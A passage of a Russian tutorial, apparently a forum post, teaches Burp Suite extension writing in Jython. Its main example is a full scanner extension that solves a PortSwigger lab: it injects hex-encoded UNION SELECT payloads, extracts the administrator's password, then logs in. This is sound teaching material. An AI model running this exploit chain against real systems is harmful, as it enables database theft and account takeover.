request = baseRequestResponse.getRequest()
stockParameter = self._helpers.getRequestParameter(request, "storeid")
if (stockParameter is None):
return None
return stockParameter
class StockIDInsertionPoint(IScannerInsertionPoint):
def __init__(self, helpers, callbacks, baseRequestResponse, baseValue):
self._helpers = helpers
self._callbacks = callbacks
self._httpService = baseRequestResponse.getHttpService()
self._baseRequest = baseRequestResponse.getRequest()
self._baseValue = self._helpers.urlDecode(baseValue)
bytesStoreID = self._helpers.stringToBytes('<storeId>')
self._startPosition = self._helpers.indexOf(self._baseRequest, bytesStoreID, False, 0, len(self._baseRequest)) + 9
def getInsertionPointName(self):
return "StockId-Hex-entity"
def getBaseValue(self):
return self._baseValue
def buildRequest(self, payload):
hex_payload = self._toHexEntity(payload)
str_request = self._helpers.bytesToString(self._baseRequest)
new_request = str_request.replace("<storeId>" + self._baseValue + "</storeId>", "<storeId>" + hex_payload + "</storeId>")
return self._helpers.stringToBytes(new_request)
def getPayloadOffsets(self, payload):
hex_payload = self._toHexEntity(payload)
start = self._startPosition
end = start + len(hex_payload)
return array('i', [start, end])
def getInsertionPointType(self):
return INS_EXTENSION_PROVIDED
def _toHexEntity(self, payload):
str_payload = self._helpers.bytesToString(payload)
hex_payload = ';'.join([hex(ord(char)).replace('0x', '&#x') for char in str_payload]) + ';'
return hex_payload
Параметры точки инъекции IParameter
В примере выше все выполнялось “по тупому” в лоб. Но подобный подход не всегда оправдан. Для управления параметрами в хелперах Burp Extender предусмотрены специальные функции: getRequestParameter(), addParameter(), updateParameter() и removeParameter().Наверное, наиболее используемыми являются функция получения параметра и обновления. С первой мы уже познакомились, когда реализовывали пример выше. Самое время познакомиться со второй. Заодно разобрав пример с base64, о котором упоминал выше.
Данный пример не мой, но прекрасно подходит для разбора. Суть задачи простая: веб-приложение имеет XSS уязвимость в строке поиска. Данные строки и фильтров кодируются в base64 и в таком виде передаются в переменной "s". Распакованные данные поиска выглядят примерно так:“search=lalalala¶m3=blablabla”. Точка инъекции находится, в параметре search. Соответственно, при сканировании, надо декодировать строку base64, найти начало и конец значения search и подменить его на пэйлоад Burp. Думаю, что достаточно понятно объяснил. На всякий случай, ссылка с данными выглядит примерно так:
http://site.com/?s=c2VhcmNoPWxhbGFsYWxhJnBhcmFtMz1ibGFibGFibGE=
Берем скелет из предыдущего расширения и приводим его в нужный вариант. Для начала меняем функцию getInsertionPoints(), которая решает надо ли делать инъекцию. В данном случае, проверяем наличие параметра “s”, если есть создаем точки инъекции:
Python: Скопировать в буфер обмена
Code:
def getInsertionPoints(self, baseRequestResponse):
sParam = self._helpers.getRequestParameter(baseRequestResponse.getRequest(), "s")
if (sParam is None):
return None
return [ SearchInsertionPoint(self._helpers, baseRequestResponse.getRequest(), sParam .getValue()) ]
Учитывая, что у нас данные заходят, как base64, их нужно декодировать. Кроме того, желательно сразу разобрать входную строку на три части: базовое значение (оно же baseValue, в примерах, оно же стандартное значение), то что идет до значения и то что идет после значения. Зачем? Тогда при формировании точки инъекции, мы возьмем до и после, добавив между ними пэйлоад. А само базовое значение потребуется для возврата в методе getBaseValue(), который подразумевает интерфейс нашей точки инъекции (IScannerInsertionPoint). Надеюсь не запутал)
Python: Скопировать в буфер обмена
Code:
class SearchInsertionPoint(IScannerInsertionPoint):
def __init__(self, helpers, baseRequest, sValue):
self._helpers = helpers
self._baseRequest = baseRequest
sParam = helpers.bytesToString(helpers.base64Decode(helpers.urlDecode(sValue)))
start = sParam.find("input=") + 6
self._insertionBefore = sParam[:start]
end = sParam.find("&", start)
if (end == -1):
end = sParam.length()
self._baseValue = sParam[start:end]
self._insertionAfter = sParam[end:]
return
Вряд ли код требует серьезных пояснений, поэтому сразу перехожу к реализации класса точки инъекции:
Python: Скопировать в буфер обмена
Code:
def getInsertionPointName(self):
return "Base64 Search Injection"
def getBaseValue(self):
return self._baseValue
def buildRequest(self, payload):
str_payload = self._helpers.bytesToString(payload)
input = self._insertionBefore + str_payload + self._insertionAfter
input = self._helpers.urlEncode(self._helpers.base64Encode(input))
updated_parameter = self._helpers.buildParameter("s", input, IParameter.PARAM_BODY)
return self._helpers.updateParameter(self._baseRequest, updated_parameter)
def getPayloadOffsets(self, payload):
return None
def getInsertionPointType(self):
return INS_EXTENSION_PROVIDED
В buildRequest мы просто собираем вместе три строки и кодируем их в base64. Сам новый запрос создается путем вызова функции хелпера updateParameter(), которая принимает запрос подлежащий изменению (byte []) и обновленный параметр. Параметр создается при помощи специальной функции buildParameter(). Не забудь добавить импорт интерфейса IParameter, чтобы использовать константу PARAM_BODY, указывающую на тип параметра. Кстати, вот доступные типы:
Если посмотреть на получившийся код расширения, становится понятно, что скорее всего мы имели дело с POST-запросами, так как параметр относится к телу запроса.
Его величество doActiveScan()
Я так много времени откладывал работу с функцией doActiveScan(), что может показаться будто она какая-то магическая. Но нет. Это функция, которая работает по аналогии с doPassiveScan(). Разница в двух вещах:- Как следует из названия, вызывается она при активном сканировании
- В отличии от doPassiveScan() имеет третий аргумент, который содержит точку инъекции IScannerInsertionPoint. Ту самую, которую разбирали выше.
Внутри функции делаем что хотим, главное на выходе вернуть список уязвимостей или ничего. В целом, делать “что хочу” можно и в doPassiveScan(), но новые запросы сильно нарушают логику. Здесь же предоставляется момент дополнить посланный BurpSuite запрос дополнительной проверкой на основе точке инъекции. Если помните, при реализации точки инъекции, реализовывался метод buildRequest(). При помощи этого метода, в doActiveScan() можно создать новый запрос модифицировав параметры.
Одну и ту же задачу, можно решать разными способами. Поэтому, для примера заново решим задачу с SQL-инъекцией, только в этот раз не будем создавать новую точку инъекции, а используем возможности doActiveScan(). Как и раньше, создаем скелет приложения, который реализует интерфейсы IBurpExtender и IScannerCheck.
Скелет расширения:
Python: Скопировать в буфер обмена
Code:
from burp import IBurpExtender, IScannerCheck, IScanIssue
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, callbacks):
callbacks.setExtensionName('SQLi in StockId')
callbacks.registerScannerCheck(SQLIScannerCheck(callbacks))
print('SQLi in StockId loaded')
class SQLIScannerCheck(IScannerCheck):
used = False
TEST_QUERY = "1 UNION SELECT 'PIPISKA'"
def __init__(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
def doPassiveScan(self, baseRequestResponse):
return None
def doActiveScan(self, baseRequestResponse, insertionPoint):
return None
def consolidateDuplicateIssues(self, existingIssue, newIssue):
if existingIssue.getIssueName() == newIssue.getIssueName():
return -1
return 0
def _toHexEntity(self, payload):
str_payload = self._helpers.bytesToString(payload)
hex_payload = ';'.join([hex(ord(char)).replace('0x', '&#x') for char in str_payload]) + ';'
return hex_payload
class SQLiScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages):
self._httpService = httpService
self._httpMessages = httpMessages
self._url = url
def getUrl(self):
return self._url
def getHttpMessages(self):
return self._httpMessages
def getHttpService(self):
return self._httpService
def getRemediationDetail(self):
return None
def getIssueDetail(self):
return "SQL injection in XML parameter 'stockId' when injecting parameter in hex-entity encoding"
def getIssueBackground(self):
return None
def getRemediationBackground(self):
return None
def getIssueType(self):
return 0
def getIssueName(self):
return "SQLi in StockId XML Parameter"
def getSeverity(self):
return "High"
def getConfidence(self):
return "Certain"
Учитывая, что определение уязвимости будет производится не стандартным сканером BurpSuite, а нашим кодом, реализуем свой класс уязвимости.
Функцию перевода в hex-entity, без стеснения, спер из прошлого решения.
Переменная “used” нужна для того, чтобы функция отработала один раз. Переменная “TEST_QUERY”, соответственно, хранит тестовый запрос.
Логика работы расширения
После регистрации нашего сканера BurpSuite будет запускать нашу функцию doActiveScan() при сканировании. Если точнее, после выполнения каждого активного запроса. В параметрах будет объект с запросом и полученным ответом, собранные в один объект. Плюс точка инъекции полезной нагрузки — куда сам сканер BurpSuite помещал данные.Наше расширение будет проверять тип запроса (нас интересует POST) и имя точки инъекции. Если оно будет соответствовать stockId, мы создадим новый запрос в который поместим нашу полезную нагрузку закодированную в hex-entity. Запрос создается при помощи метода buildRequest(). Когда мы создавали свой класс точки инъекции, мы реализовывали методв buildRequest(). В данном случае, будем использовать стандартный метод, реализованный внутри Burp Extender.
Когда запрос с полезной нагрузкой подготовлен, нужно сообщить сканеру Burp, чтобы он выполнил запрос. Это делается при помощи метода makeHttpRequest() доступного через коллбэки. Результатом работы будет IHttpRequestResponse, на основе которой мы должны решить есть ли уязвимость. Если есть, соответственно, возвращаем объект уязвимости.
Чтобы обнаружить уязвимость, в тексте ответа будем искать ‘PIPISKA’ (да… я все еще взрослый человек). Почему его? Потому что оно прописано в тестовом запросе. По хорошему, мы должны были тестами узнать, что можно возвращать текст, но условия задачи мы знаем заранее.
Python: Скопировать в буфер обмена
Code:
def doActiveScan(self, baseRequestResponse, insertionPoint):
if self.used:
return None
print('Start check')
requestInfo = self._helpers.analyzeRequest(baseRequestResponse)
if requestInfo.getMethod() != 'POST':
return None
print('Method POST - Ok')
insertionPointName = insertionPoint.getInsertionPointName()
print(insertionPointName)
if insertionPointName == 'storeid':
print('Insertion point stockId')
hex_payload = self._toHexEntity(self.TEST_QUERY)
payload = self._helpers.stringToBytes(hex_payload)
newRequest = insertionPoint.buildRequest(payload)
print('\nNew request:\n\n' + self._helpers.bytesToString(newRequest))
httpService = baseRequestResponse.getHttpService()
test_attack = self._callbacks.makeHttpRequest(httpService, newRequest)
response = self._helpers.bytesToString(test_attack.getResponse())
print(response)
if 'PIPISKA' in response:
httpService = test_attack.getHttpService()
url = self._helpers.analyzeRequest(test_attack).getUrl()
return [SQLiScanIssue(httpService, url, [test_attack])]
self.used = True
return None
Тестовый запуск показал, что все идет почти так, как надо. Но не совсем. Синим выделен запрос, красным ответ.
Фишка в том, что при работе buildRequest(), BurpSuite пытается создать корректный запрос и меняет амперсанд на &. Повлиять на его поведение мы не можем. Поэтому будем костылить. Сначала в запрос, вместо полезной нагрузки, воткнем ‘PIPISKA’. После переведем получившийся байт-массив в строку, сделаем замену и вернем обратно в байты.
Python: Скопировать в буфер обмена
Code:
if insertionPointName == 'storeid':
print('Insertion point stockId')
newRequest = insertionPoint.buildRequest(self._helpers.stringToBytes('PIPISKA'))
hex_payload = self._toHexEntity(self.TEST_QUERY)
newRequest = self._helpers.bytesToString(newRequest).replace('PIPISKA', hex_payload, 1)
newRequest = self._helpers.stringToBytes(newRequest)
print('\nNew request:\n\n' + self._helpers.bytesToString(newRequest) + '\n\n')
httpService = baseRequestResponse.getHttpService()
test_attack = self._callbacks.makeHttpRequest(httpService, newRequest)
response = self._helpers.bytesToString(test_attack.getResponse())
print(response)
if 'PIPISKA' in response:
return [SQLiScanIssue(testHttpService, testUrl, [testAttack])]
Запускаю заново и получаю ожидаемый результат. Наш чекер находит уязвимость и добавляет ее:
Выглядит красиво, но если хотите, можно добавить маркировку запроса и ответа. Потребуется всего ничего. Точка инъекции insertinPoint позволяет нам получить координаты маркеров просто вызывав функцию getPayloadOffsets(), передав ей наш пэйлоад. Для разметки ответа, нам нужно найти свою PIPISKA. Координата вхождения это начало разметки, прибавим к ней длину нашей PIPISKA и получим конечную точку.
Python: Скопировать в буфер обмена
Code:
responseMarkers = array('i', [0,0])
testResponseByte = testAttack.getResponse()
responseMarkers[0] = self._helpers.indexOf(testResponseByte, self._helpers.stringToBytes('PIPISKA'), False, 0, len(testResponseByte))
responseMarkers[1] = responseMarkers[0] + len('PIPISKA')
markTestAttack = self._callbacks.applyMarkers(testAttack.getResponse(), [insertionPoint.getPayloadOffsets(hex_payload)], [responseMarkers])
issues.append(SQLiScanIssue(testHttpService, testUrl, [markTestAttack]))
Многоходовочка
Все круто, но предлагаю попрактиковаться, а именно - решить лабораторную в полностью автоматическом режиме. Заодно создав несколько разных типов ошибок.
Для этого достаточно добавить небольшой кусок кода. Его логика работы простая. Когда мы убедились, что получаем “PIPISKA”, сформировать новый запрос, который будет вытаскивать логин и пароль из таблицы “users”. Дальше нужен GET-запрос страницы логина и последующий парсинг значения CSRF. Завершает эпопею POST-запрос с данными для авторизации.
Тут главное не забыть, что мы возвращаем список ошибок. При этом, в списке могут быть разношерстные ошибки. Поэтому, создам еще один класс с ошибкой, а вместо возврата списка из одной ошибки, буду добавлять ошибки в список issues=[], а в конце верну весь список или ничего.
Еще один интересный момент в том, что нам нужно выполнить POST и GET, при этом сохраняя сессию. В этом нам поможет еще одна замечательная функция toggleRequestMethod(byte[] request). Как понятно из названия, она переключает тип запроса. Работает исключительно с GET и POST.
Итак. Найдя PIPISKA, подготовим новый запрос. Полностью по аналогии с первым. В целом, для удобства, вынесу формирование запроса в отдельную функцию:
Python: Скопировать в буфер обмена
Code:
def _requestWithHex(self, baseRequestResponse, insertionPoint, query):
newRequest = insertionPoint.buildRequest(self._helpers.stringToBytes('PIPISKA'))
hex_payload = self._toHexEntity(query)
newRequest = self._helpers.bytesToString(newRequest).replace('PIPISKA', hex_payload, 1)
newRequest = self._helpers.stringToBytes(newRequest)
print('\nNew request:\n\n' + self._helpers.bytesToString(newRequest) + '\n\n')
httpService = baseRequestResponse.getHttpService()
return self._callbacks.makeHttpRequest(httpService, newRequest)
Потребуется запрос, которым получим данные по пользователям из базы. Из описания лабораторной понятно, что есть таблица users, а в ней лежат username и password. В том числе, пользователя administrator. Запрос кладу в переменную ATTACK_QUERY. Изменения в коде выглядят следующим образом:
Python: Скопировать в буфер обмена
Code:
...
ATTACK_QUERY = "1 UNION SELECT username || '~' || password FROM users"
...
def doActiveScan(self, baseRequestResponse, insertionPoint):
...
if 'PIPISKA' in testResponse:
print('Attack!')
testHttpService = testAttack.getHttpService()
testUrl = self._helpers.analyzeRequest(testAttack).getUrl()
issues.append(SQLiScanIssue(testHttpService, testUrl, [testAttack]))
attack = self._requestWithHex(baseRequestResponse, insertionPoint, self.ATTACK_QUERY)
attackResponse = self._helpers.bytesToString(attack.getResponse())
print(attackResponse)
creds = re.search('(adm.*)~(.*)', attackResponse)
if not creds:
print("Can't find credentials")
return issues
login = creds.group(1)
password = creds.group(2)
print('\nGot database credentials ' + login + ' ' + password)
attackHttpService = attack.getHttpService()
attackUrl = self._helpers.analyzeRequest(attack).getUrl()
issues.append(DBCredsScanIssue(attackHttpService, attackUrl, [attack], login, password))
...
Python: Скопировать в буфер обмена
Code:
class DBCredsScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, login, password):
self._httpService = httpService
self._httpMessages = httpMessages
self._url = url
self._login = login
self._password = password
def getUrl(self):
return self._url
def getHttpMessages(self):
return self._httpMessages
def getHttpService(self):
return self._httpService
def getRemediationDetail(self):
return None
def getIssueDetail(self):
return "Login: " + self._login + " Password: " + self._password
def getIssueBackground(self):
return None
def getRemediationBackground(self):
return None
def getIssueType(self):
return 0
def getIssueName(self):
return "DB Creds"
def getSeverity(self):
return "High"
def getConfidence(self):
return "Certain"
Все как и раньше, только через конструктор запоминаем login и password, которые возвращаем в деталях ошибки. Добавлю только, что подобный подход (две разных ошибки на один скан) нужно хорошо продумать, чтобы корректно прописать обнаружение дублей в consolidateDuplicateIssues()
Данные для входа получаю при помощи регулярного выражения. Так как знаю, что логин будет “administrator”, сразу прописываю его начало в регулярку. Отлично! Логин и пароль мы получили, пора переходить к входу в систему от имени администратора. Но! Все не так просто, для логина надо получить CSRF со страницы входа. Поэтому, сделаю GET-запрос к “/login”
Python: Скопировать в буфер обмена
Code:
...
print('Get CSRF!')
protocol = attackUrl.getProtocol()
port = attackUrl.getPort()
host = attackUrl.getHost()
requestUrl = URL(protocol, host, port, '/login')
request = self._helpers.buildHttpRequest(requestUrl)
loginPage = self._callbacks.makeHttpRequest(attackHttpService, request)
loginPageResponse = self._helpers.bytesToString(loginPage.getResponse())
csrf_re = re.search('(=?name="csrf").value="(.*)"', loginPageResponse).group(2)
if not csrf_re:
print("Can't find CSRF")
return issues
csrf = csrf_re.group(2)
print('CSRF is ' + csrf)
...
В этот раз я использовал хелпер buildHttpRequest(), который принимает объект java.net.URL. Нужно сделать импорт from java.net import URL. Далее вызову конструктор URL, передав ему протокол, хост, порт и путь
Выполнив запрос, регуляркой получаю CSRF. В целом, все готово для выполнения запроса на вход. Но нужно учесть, что сайт учитывает не только CSRF, но и сессию в Cookie. Именно эта пара должна быть вместе с логином и паролем.
Для демонстрации работы функции toggleRequestMethod(), сформирую следующий запрос из предыдущего GET-запроса. Учитывая все вышесказанное, придется немного поработать с заголовками. Для подмены заголовка сделаю функцию _updateHeaders(), она будет искать заголовки начинающиеся с пользовательского значения и подменять его на указанное. Вторая функция будет получать куки из существующего запроса, подменяя ‘Set-Cookie’ на ‘Cookie’
Python: Скопировать в буфер обмена
Code:
...
print('Start join as ' + login)
loginPageRequest = self._helpers.toggleRequestMethod(loginPage.getRequest())
loginPageRequestInfo = self._helpers.analyzeRequest(loginPageRequest)
loginHeaders = loginPageRequestInfo.getHeaders()
loginHeaders = self._updateHeaders(loginHeaders, 'Content-Type', 'Content-Type: application/x-www-form-urlencoded')
session_cookie = self._getSessionCookie(loginPage.getResponse())
if session_cookie:
loginHeaders.add(session_cookie)
loginBodyString = 'csrf=' + csrf + '&username=' + login + '&password=' + password
loginBody = self._helpers.stringToBytes(loginBodyString)
loginHttpMessage = self._helpers.buildHttpMessage(loginHeaders, loginBody)
print(self._helpers.bytesToString(loginHttpMessage))
joinResult = self._callbacks.makeHttpRequest(attackHttpService, loginHttpMessage)
Практически все функции мы уже рассматривали, поэтому особо останавливаться не буду. Только хелпер buildHttpMessage() является новой. При помощи нее мы создаем новый запрос, как при buildRequest(), но на основе заголовков и тела запроса. Заголовки принимаются списком строк, тело, как и раньше, это набор байт.
Перейду к функции _updateHeaders()
Python: Скопировать в буфер обмена
Code:
def _updateHeaders(self, headers, start_with, new_value):
for i in range(len(headers)):
if str(headers).startswith(start_with):
headers = new_value
return headers
getHeaders() отдает нам список строк в юникоде. Чтобы использовать стандартные функции доступные string, привожу каждое значение через str().
Python: Скопировать в буфер обмена
Code:
def _getSessionCookie(self, response):
headers = self._helpers.analyzeResponse(response).getHeaders()
for header in headers:
if str(header).startswith('Set-Cookie'):
header = str(header).replace('Set-Cookie', 'Cookie')
return header
return False
Обе функции, практически, братья близнецы. Просто вторая заточена под более конкретную задачу.
Казалось бы все, но нет. PortSwigger среагирует только тогда, когда мы под администратором постим страницу. Что же, заодно еще раз попрактикуемся в генерации запросов.
Python: Скопировать в буфер обмена
Code:
...
print('Joined. Follow redirect')
joinRequest = self._helpers.bytesToString(joinResult.getRequest())
joinResponse = self._helpers.bytesToString(joinResult.getResponse())
print(joinRequest)
print('\n\n')
print(joinResponse)
joined_cookie = self._getSessionCookie(joinResponse)
finishHeaders = self._helpers.analyzeRequest(joinRequest).getHeaders()
finishHeaders = self._updateHeaders(finishHeaders, 'POST', 'GET /my-account?id=' + login)
finishHeaders = self._updateHeaders(finishHeaders, 'Cookie', joined_cookie)
finishRequest = self._helpers.buildHttpMessage(finishHeaders, '')
finishResult = self._callbacks.makeHttpRequest(attackHttpService, finishRequest)
print('Finish')
...
Удаляю и заново устанавливаю расширение, после чего запускаю активное сканирование. Ура, вот она вожделенная оранжевая плашка с “Congratulations, you solved the lab!”.
Спойлер: Полный код расширения SQLi in StockId
Python: Скопировать в буфер обмена
Code:
from burp import IBurpExtender, IScannerCheck, IScanIssue
from java.net import URL
from array import array
import re
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, callbacks):
callbacks.setExtensionName('SQLi in StockId')
callbacks.registerScannerCheck(SQLIScannerCheck(callbacks))
print('SQLi in StockId loaded')
class SQLIScannerCheck(IScannerCheck):
used = False
TEST_QUERY = "1 UNION SELECT 'PIPISKA'"
ATTACK_QUERY = "1 UNION SELECT username || '~' || password FROM users"
def __init__(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
def doPassiveScan(self, baseRequestResponse):
return None
def doActiveScan(self, baseRequestResponse, insertionPoint):
issues = []
if self.used:
return None
print('Start check')
requestInfo = self._helpers.analyzeRequest(baseRequestResponse)
if requestInfo.getMethod() != 'POST':
return None
print('Method POST - Ok')
insertionPointName = insertionPoint.getInsertionPointName()
print(insertionPointName)
if insertionPointName == 'storeid':
print('Test insertion point stockId')
testAttack = self._requestWithHex(baseRequestResponse, insertionPoint, self.TEST_QUERY)
testResponse = self._helpers.bytesToString(testAttack.getResponse())
print(testResponse)
if 'PIPISKA' in testResponse:
print('Attack!')
testHttpService = testAttack.getHttpService()
testUrl = self._helpers.analyzeRequest(testAttack).getUrl()
issues.append(SQLiScanIssue(testHttpService, testUrl, [testAttack]))
attack = self._requestWithHex(baseRequestResponse, insertionPoint, self.ATTACK_QUERY)
attackResponse = self._helpers.bytesToString(attack.getResponse())
print(attackResponse)
creds = re.search('(adm.*)~(.*)', attackResponse)
if not creds:
print("Can't find credentials")
return issues
login = creds.group(1)
password = creds.group(2)
print('\nGot database credentials ' + login + ' ' + password)
attackHttpService = attack.getHttpService()
attackUrl = self._helpers.analyzeRequest(attack).getUrl()
issues.append(DBCredsScanIssue(attackHttpService, attackUrl, [attack], login, password))
print('Get CSRF!')
protocol = attackUrl.getProtocol()
port = attackUrl.getPort()
host = attackUrl.getHost()
requestUrl = URL(protocol, host, port, '/login')
request = self._helpers.buildHttpRequest(requestUrl)
loginPage = self._callbacks.makeHttpRequest(attackHttpService, request)
loginPageResponse = self._helpers.bytesToString(loginPage.getResponse())
csrf_re = re.search('(=?name="csrf").value="(.*)"', loginPageResponse)
if not csrf_re:
print("Can't find CSRF")
return issues
csrf = csrf_re.group(2)
print('CSRF is ' + csrf)
print('Start join as ' + login)
loginPageRequest = self._helpers.toggleRequestMethod(loginPage.getRequest())
loginPageRequestInfo = self._helpers.analyzeRequest(loginPageRequest)
loginHeaders = loginPageRequestInfo.getHeaders()
loginHeaders = self._updateHeaders(loginHeaders, 'Content-Type', 'Content-Type: application/x-www-form-urlencoded')
session_cookie = self._getSessionCookie(loginPage.getResponse())
if session_cookie:
loginHeaders.add(session_cookie)
loginBodyString = 'csrf=' + csrf + '&username=' + login + '&password=' + password
loginBody = self._helpers.stringToBytes(loginBodyString)
loginHttpMessage = self._helpers.buildHttpMessage(loginHeaders, loginBody)
print(self._helpers.bytesToString(loginHttpMessage))
joinResult = self._callbacks.makeHttpRequest(attackHttpService, loginHttpMessage)
print('Joined. Follow redirect')
joinRequest = self._helpers.bytesToString(joinResult.getRequest())
joinResponse = self._helpers.bytesToString(joinResult.getResponse())
print(joinRequest)
print('\n\n')
print(joinResponse)
joined_cookie = self._getSessionCookie(joinResponse)
finishHeaders = self._helpers.analyzeRequest(joinRequest).getHeaders()
finishHeaders = self._updateHeaders(finishHeaders, 'POST', 'GET /my-account?id=' + login)
finishHeaders = self._updateHeaders(finishHeaders, 'Cookie', joined_cookie)
finishRequest = self._helpers.buildHttpMessage(finishHeaders, '')
finishResult = self._callbacks.makeHttpRequest(attackHttpService, finishRequest)
print('Finish')
self.used = True
if len(issues):
return issues
return None
def _updateHeaders(self, headers, start_with, new_value):
for i in range(len(headers)):
if str(headers[i]).startswith(start_with):
headers[i] = new_value
return headers
def _getSessionCookie(self, response):
headers = self._helpers.analyzeResponse(response).getHeaders()
for header in headers:
if str(header).startswith('Set-Cookie'):
header = str(header).replace('Set-Cookie', 'Cookie')
return header
return False
def _requestWithHex(self, baseRequestResponse, insertionPoint, query):
newRequest = insertionPoint.buildRequest(self._helpers.stringToBytes('PIPISKA'))
hex_payload = self._toHexEntity(query)
newRequest = self._helpers.bytesToString(newRequest).replace('PIPISKA', hex_payload, 1)
newRequest = self._helpers.stringToBytes(newRequest)
print('\nNew request:\n\n' + self._helpers.bytesToString(newRequest) + '\n\n')
httpService = baseRequestResponse.getHttpService()
return self._callbacks.makeHttpRequest(httpService, newRequest)
def consolidateDuplicateIssues(self, existingIssue, newIssue):
if existingIssue.getIssueName() == newIssue.getIssueName():
return -1
return 0
def _toHexEntity(self, payload):
str_payload = self._helpers.bytesToString(payload)
hex_payload = ';'.join([hex(ord(char)).replace('0x', '&#x') for char in str_payload]) + ';'
return hex_payload
class SQLiScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages):
self._httpService = httpService
self._httpMessages = httpMessages
self._url = url
def getUrl(self):
return self._url
def getHttpMessages(self):
return self._httpMessages
def getHttpService(self):
return self._httpService
def getRemediationDetail(self):
return None
def getIssueDetail(self):
return "SQL injection in XML parameter 'stockId' when injecting parameter in hex-entity encoding"
def getIssueBackground(self):
return None
def getRemediationBackground(self):
return None
def getIssueType(self):
return 0
def getIssueName(self):
return "SQLi in StockId XML Parameter"
def getSeverity(self):
return "High"
def getConfidence(self):
return "Certain"
class DBCredsScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, login, password):
self._httpService = httpService
self._httpMessages = httpMessages
self._url = url
self._login = login
self._password = password
def getUrl(self):
return self._url
def getHttpMessages(self):
return self._httpMessages
def getHttpService(self):
return self._httpService
def getRemediationDetail(self):
return None
def getIssueDetail(self):
return "Login: " + self._login + " Password: " + self._password
def getIssueBackground(self):
return None
def getRemediationBackground(self):
return None
def getIssueType(self):
return 0
def getIssueName(self):
return "DB Creds"
def getSeverity(self):
return "High"
def getConfidence(self):
return "Certain"
Вместо заключения
На данном этапе, можно сказать, что большинство знаний касающихся активного и пассивного сканирования стандартным сканером BurpSuite у вас уже есть. Если я не переоцениваю свои навыки, то многие моменты должны быть полностью понятны.В первой и второй статьях, рассмотрели принцип работы и отличия между doActiveScan() и doPassiveScan(). Узнали, как добавлять свои точки инъекции и изучили несколько примеров практического использования. Поработали со стандартной парой IHttpRequestResponse. Разными способами создавали и модифицировали запросы и его части. Я к тому, что обладая этими навыками уже можно делать много чего полезного. Шутка ли, мы реализовали даже многошаговую атаку. Да, плоскую, но все же.
Но это далеко не все, что можно делать при помощи API Burp Extender. Например, doActiveScan() и doPassiveScan() есть не только в виде слушателя IScannerCheck, но и как методы инициации соответствующих сканов. Не коснулись интерфейса пользователя, как самого расширения, так и встраивания в интерфейс BurpSuite,
Учитывая интерес к теме, как со стороны пользователей, так и администрации XSS, думаю пройдемся по всем закоулкам API Burp. На самом деле, расширениями Burp можно творить невероятные вещи. Чем, собственно, и займемся в следующих статьях.
Надеюсь вам понравилось